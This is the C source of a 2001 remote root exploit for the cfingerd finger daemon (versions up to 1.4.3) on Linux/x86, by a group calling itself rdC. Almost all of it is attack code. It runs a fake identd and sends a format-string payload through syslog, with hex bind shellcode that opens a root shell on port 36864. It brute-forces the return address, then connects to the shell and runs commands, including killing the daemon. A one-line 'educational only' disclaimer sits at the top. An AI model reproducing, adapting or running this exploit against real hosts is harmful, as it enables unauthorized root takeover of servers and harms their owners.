home *** CD-ROM | disk | FTP | other *** search
- /* remote exploit for linux/x86 - cfingerd <= 1.4.3
- * coded by venomous of rdC - 16/apr/01
- *
- * Its just a common formatstring bug using syslog() incorrectly.
- * We need to bind as identd, so disable your identd in case you are
- * using it.
- *
- * BONUS: eip address is bruteforced, so relax and wait =)
- *
- * NOTE: for sure where we control the format string will change from
- * platform to platform.
- * And for sure, the shellcode address will change so maybe you
- * want to bruteforce this too. (-1500 to +1500 should be fine i guess)
- *
- * REMEMBER: this code is for educational propourses only, do not use
- * it on machines without authorization.
- *
- * INFO: cfingerd isnt a package of slackware 7.0
- * cfingerd 1.4.1 is a package of debian 2.2
- *
- * Greets: ka0z, bruj0, dn0, superluck, fugitivo(!)
- * #flatline, #rdC
- *
- * Credits: To Lez, who found this bug.
- *
- * http://www.rdcrew.com.ar - Argentinian Security Group.
- * venomous@rdcrew.com.ar
- */
-
-
- #include <stdio.h>
- #include <netinet/in.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netdb.h>
- #include <signal.h>
- #include <sys/types.h>
- #include <sys/wait.h>
- #include <unistd.h>
-
- #define ROOTSHELLPORT 36864
-
- void chld_timeo();
- void chld_timeoo();
-
- int sserver;
- int cserver;
- int phase=0;
- int mmm=0;
-
- unsigned long glob;
- //unsigned long startaddr = 0xbffffdfc;
- unsigned long startaddr = 0xbffffb34;
- unsigned long stopaddr = 0xbffff000;
-
- char pbuf[1024];
-
- char testcode[]=
- "\xeb\x0b\x2e\x72\x64\x43\x2e\x72\x6f\x63\x6b\x73\x2e\xeb\xfe";
-
- char linuxcode[]=
- /* Lamagra bind shellcode modified by me, making it smaller =) - 124b */
- "\xeb\x6e\x5e\x29\xc0\x89\x46\x10"
- "\x40\x89\xc3\x89\x46\x0c\x40\x89"
- "\x46\x08\x8d\x4e\x08\xb0\x66\xcd"
- "\x80\x43\xc6\x46\x10\x10\x88\x46"
- "\x08\x31\xc0\x31\xd2\x89\x46\x18"
- "\xb0\x90\x66\x89\x46\x16\x8d\x4e"
- "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
- "\x66\xcd\x80\x89\x5e\x0c\x43\x43"
- "\xb0\x66\xcd\x80\x89\x56\x0c\x89"
- "\x56\x10\xb0\x66\x43\xcd\x80\x86"
- "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0"
- "\x3f\x41\xcd\x80\xb0\x3f\x41\xcd"
- "\x80\x88\x56\x07\x89\x76\x0c\x87"
- "\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80"
- "\xe8\x8d\xff\xff\xff\x2f\x62\x69"
- "\x6e\x2f\x73\x68";
-
- struct os
- {
- int id;
- char *os;
- char *shellcode;
- int fsc;
- unsigned long shaddr;
- int offset;
- };
-
- struct os types[]=
- {
- {0, "slackware 7.0 - compiled cfingerd 1.4.2/1.4.3 running from inetd as root",
- linuxcode, 22, 0xbffffbc4, 30},
- {1, "slackware 7.0 - compiled cfingerd 1.4.2/1.4.3 running from inetd as nobody",
- linuxcode, 22, 0xbffffbc4, 30},
- {2, "debian 2.2 - default cfingerd 1.4.1 running from inetd as root", linuxcode, 33,
- 0xbffffb48, 0},
- {3, "debian 2.2 - default cfingerd 1.4.1 running from inetd as nobody", linuxcode, 33,
- 0xbffffb48, 0},
- {4, NULL, 0, 0xdeadbeef, 0}
- };
-
- main(int argc, char *argv[])
- {
- struct sockaddr_in sin;
- struct sockaddr_in ssin;
- int fd;
- int x;
- int xx=0;
- int sts=0;
- int pete;
- int a,b,c=22,d=0; /* c is used in case you want to seek the fsc on */
- int guide=1; /* your system, starting from 22, change it if you */
- int sel=0; /* want. */
- int bleh=0; /* */
- int off=0;
- int arx=0;
- int niu=0;
- int ye=0;
- char buf[1024];
- char tex[512];
-
- if (argc < 4)
- {
- printf("cfingerd <= 1.4.3 remote exploit coded by venomous of rdC\n\n");
- printf("Usage: %s <platform> <host> <offset>\n",argv[0]);
- printf("where <platform> is:\n");
- for (x=0 ; types[x].os != NULL ; x++)
- printf("%d for %s\n", types[x].id, types[x].os);
- printf("\nhttp://www.rdcrew.com.ar\n\n");
- exit(1);
- }
-
- for (x=0 ; types[x].os != NULL ; x++)
- {
- if (types[x].id == atoi(argv[1]) )
- {
- xx++;
- sel = types[x].id;
- }
- }
- if (!xx)
- {
- printf("Unknown platform: %s\n",argv[1]);
- exit(1);
- }
-
- off = atoi(argv[3]);
- printf("Selected platform: %s (%d)\n",types[sel].os,sel);
- bzero(&sin,sizeof(sin));
-
- // fake identd
- sin.sin_family = AF_INET;
- sin.sin_port = htons(113);
- sin.sin_addr.s_addr = htonl(INADDR_ANY);
-
- if ( (fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
- {
- perror("socket");
- exit(1);
- }
- if ( (x = bind(fd,(struct sockaddr *)&sin, sizeof(sin)) < 0))
- {
- perror("bind");
- exit(1);
- }
-
- if ( (xx = listen(fd, 5)) < 0)
- {
- perror("listen");
- exit(1);
- }
-
- printf("fake identd bound successfuly\n\n");
- printf("pre-phase info: If you need to use the offset you can use safely steps of
- 120\n\n");
- printf("phase 0: finding eip... \n");
- while (guide)
- {
- //maybe you need it..
- // if (!d)
- // {
- preparebuf(sel, off, ye);
- fconnect(argv[2], ye, 79);
- // }
-
- pete = sizeof(ssin);
- if ( (sserver = accept(fd, (struct sockaddr *)&ssin, &pete)) < 0)
- {
- perror("accept");
- exit(1);
- }
- bzero(buf,sizeof(buf));
- read(sserver,buf,sizeof(buf));
-
- //horrendus debug! :)
- #ifdef DEBUG
- printf("\nread(): %s\n",buf);
- #endif
- sscanf(buf,"%d,%d",&a,&b);
- bzero(buf,sizeof(buf));
- bzero(tex,sizeof(tex));
- memset(tex,'\x90',119);
-
- bleh=strlen(pbuf);
- niu = 0;
-
- while (1)
- {
- if(strlen(pbuf) < 65)
- {
- if (phase==0)
- pbuf[bleh] = '\x90';
- else
- pbuf[bleh] = types[sel].shellcode[niu];
- bleh++;
- if (phase==1)
- niu++;
- }
- else
- break;
- }
- arx = niu;
-
- if(!phase)
- for(bleh=0 ; bleh < strlen(testcode) ; bleh++)
- tex[119 - strlen(testcode) + bleh] = testcode[bleh];
-
- else
- {
- if ((119 - (strlen(types[sel].shellcode) - arx)) < 0)
- {
- printf("shellcode too long, exiting\n");
- exit(0);
- }
-
- for ( bleh=0 ; bleh < ( (strlen(types[sel].shellcode)) - arx) ; bleh++)
- tex[119 - (strlen(types[sel].shellcode)) - arx + bleh] =
- types[sel].shellcode[bleh+arx];
- }
-
- snprintf(buf,sizeof(buf),"%s : : : %s", tex, pbuf);
- /* usefull for find the fsc on your system.
- //snprintf(buf,sizeof(buf),"%d , %d : UNIX : 1 : AAAA%%%d$p:fsc:%d\n",a,b,c,c);
- // read about 'd' below
- if (d==2) { c++; d=0; }
- */
- write(sserver,buf,sizeof(buf));
-
- //the same..
- #ifdef DEBUG
- printf("sent: %s\n--------------------\n",buf);
- #endif
- close(sserver);
- sleep(2);
-
- //same..
- // if(d)
- wait(&sts);
- // d++;
-
- /* if something like tcplogd is running there will be 3 connections
- * to identd, so in that case, d==3
- */
- //if(d==2)
- // d=0;
-
- if ((WEXITSTATUS(sts)) == 1) // eip/shellcode address ok (at phase 0)
- {
- phase=1; ye=1; sts=0;
- printf("\nphase 1: calculating address of the first chacarcter in our buffer...
- wait\n");
- }
-
- if ((WEXITSTATUS(sts)) == 2) // shellcode executed (at phase 1)
- {
- printf("\nphase 2 connecting to rootshell... ");
- fflush(stdout);
- close(fd); //identd fake server
- fconnect(argv[2], 2, ROOTSHELLPORT);
- printf("\n\nThanks for using rdC products!\n\n");
- exit(0);
- }
- }
- }
-
- int fconnect(char *hname, int what, int port)
- {
- struct hostent *host;
- struct sockaddr_in d;
- int r;
- char hname2[128];
- char response[1024];
- d.sin_family = AF_INET;
- d.sin_port = htons(port);
-
- bzero(hname2,sizeof(hname2));
- strncpy(hname2,hname,sizeof(hname2));
- host = gethostbyname(hname2);
- if (!host)
- {
- printf("cannot resolve\n");
- exit(0);
- }
-
- bcopy(host->h_addr, (struct in_addr *)&d.sin_addr, host->h_length);
-
- cserver = socket(AF_INET, SOCK_STREAM, 0);
-
- // you can add a timeout here, but supossly you know if the server
- // is up/not firewalled, because you are using it against an authorized
- // machine and not in a script/not authorized machine, right?
-
- if (connect(cserver, (struct sockaddr *)&d, sizeof(struct sockaddr)) < 0)
- {
- perror("connect");
- exit(1);
- }
-
- if (what==2)
- {
- printf("connected!\n");
- fflush(stdout);
- rootsox(cserver);
- close(cserver);
- return;
- }
-
- write(cserver,"a\n",strlen("a\n"));
-
- if ((fork()) == 0)
- {
- printf("Waiting response...");
- for(r=0 ; r < 19 ; r++)
- printf("\b");
- fflush(stdout);
- bzero(response,sizeof(response));
- if (what==0)
- signal(SIGALRM, chld_timeo);
- else
- signal(SIGALRM, chld_timeoo);
-
- alarm(30);
- read(cserver,response,sizeof(response));
- if (strstr(response,"SIGILL"))
- {
- printf("Illegal Instruction\r");
- fflush(stdout);
- close(cserver);
- exit(0);
- }
- if (strstr(response,"SIGSEGV"))
- {
- printf("Segmentation Fault.\r");
- fflush(stdout);
- close(cserver);
- exit(0);
- }
- //you might add strings here..
- if (strstr(response,"Sorry, that user doesn't exist") || strstr(response,"Debian
- GNU/Linux"))
- {
- printf("server not crashed.\r");
- fflush(stdout);
- close(cserver);
- exit(0);
- }
- }
- //close(cserver);
- }
-
- /* <huh> */
- void chld_timeo()
- {
- alarm(0);
- signal(SIGALRM, SIG_DFL);
- printf("EIP FOUND! - SHELLCODE ADDR OK!\n");
- fflush(stdout);
- close(cserver);
- exit(1);
- }
-
- void chld_timeoo()
- {
- alarm(0);
- signal(SIGALRM, SIG_DFL);
- printf("shellcode executed!\n");
- fflush(stdout);
- close(cserver);
- exit(2);
- }
- /* </huh> */
-
- int rootsox(int sox)
- {
- fd_set rset;
- int n;
- char buffer[4096];
-
- /* we kill the cfingerd in eternal loop and we run other nice commands ;)
- */
- char *command="/bin/killall -9 cfingerd ; /bin/uname -a ; /usr/bin/id\n";
-
- send(sox, command, strlen(command), 0);
-
- for (;;) {
- FD_ZERO (&rset);
- FD_SET (sox, &rset);
- FD_SET (STDIN_FILENO, &rset);
-
- n = select(sox + 1, &rset, NULL, NULL, NULL);
- if(n <= 0)
- return (-1);
-
- if(FD_ISSET (sox, &rset)) {
- n = recv (sox, buffer, sizeof (buffer), 0);
- if (n <= 0)
- break;
-
- write (STDOUT_FILENO, buffer, n);
- }
-
- if(FD_ISSET (STDIN_FILENO, &rset)) {
- n = read (STDIN_FILENO, buffer, sizeof (buffer));
- if (n <= 0)
- break;
-
- send(sox, buffer, n, 0);
- }
- }
- return 0;
- }
-
- //heavly modified formatstring engine from rdC-LPRng.c exploit - 12/00
- preparebuf(int sel, int off, int what)
- {
- unsigned long addr;
- unsigned long a, b, c, d;
- int pas1,pas2,pas3,pas4;
- int i;
- char temp[512];
- char buf[512];
- char atemp[128];
- char bufx[512];
-
- startaddr = startaddr - 0x4;
- addr = startaddr;
-
- bzero(temp,sizeof(temp));
- bzero(buf,sizeof(buf));
- bzero(bufx,sizeof(bufx));
- bzero(atemp,sizeof(atemp));
-
- if (addr == stopaddr)
- {
- printf("\nreached stopaddr, change shellcode address/fsc\n");
- exit(1);
- }
-
- if(what)
- {
- off-=mmm;
- mmm++;
- }
-
- if (mmm == 185)
- {
- printf("?!.. we cant find the first character of our shellcode!#@\n");
- exit(0);
- }
-
- snprintf(temp,sizeof(temp),"%p",types[sel].shaddr+types[sel].offset+off);
- sscanf(temp,"0x%2x%2x%2x%2x",&a,&b,&c,&d);
- pas1 = d - (16 * 2);
- pas1 = cn(pas1);
- pas2 = c - d;
- pas2 = cn(pas2);
- pas3 = b - c;
- pas3 = cn(pas3);
- pas4 = a - b;
- pas4 = cn(pas4);
-
- if(what)
- addr = glob;
- else
- glob = addr;
-
- printf("eip: %p - shellcode addr: %p - ",addr,types[sel].shaddr+types[sel].offset+off);
- fflush(stdout);
-
- for (i=0 ; i < 4 ; i++)
- {
- snprintf(atemp,sizeof(atemp),"%s",&addr);
- strncat(buf, atemp, 4);
- addr++;
- }
-
-
- snprintf(bufx,sizeof(bufx),"%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n",pas1,(types[sel].fsc),pas2,(types[sel].fsc)+1,pas3,(types[sel].fsc)+2,pas4,types[sel].fsc+3);
- strcat(buf,bufx);
- bzero(pbuf,sizeof(pbuf));
- strncpy(pbuf,buf,sizeof(pbuf));
- }
-
- cn(unsigned long addr)
- {
- char he[128];
-
- snprintf(he,sizeof(he),"%d",addr);
- if (atoi(he) < 8)
- addr = addr + 256;
-
- return addr;
- }
-
-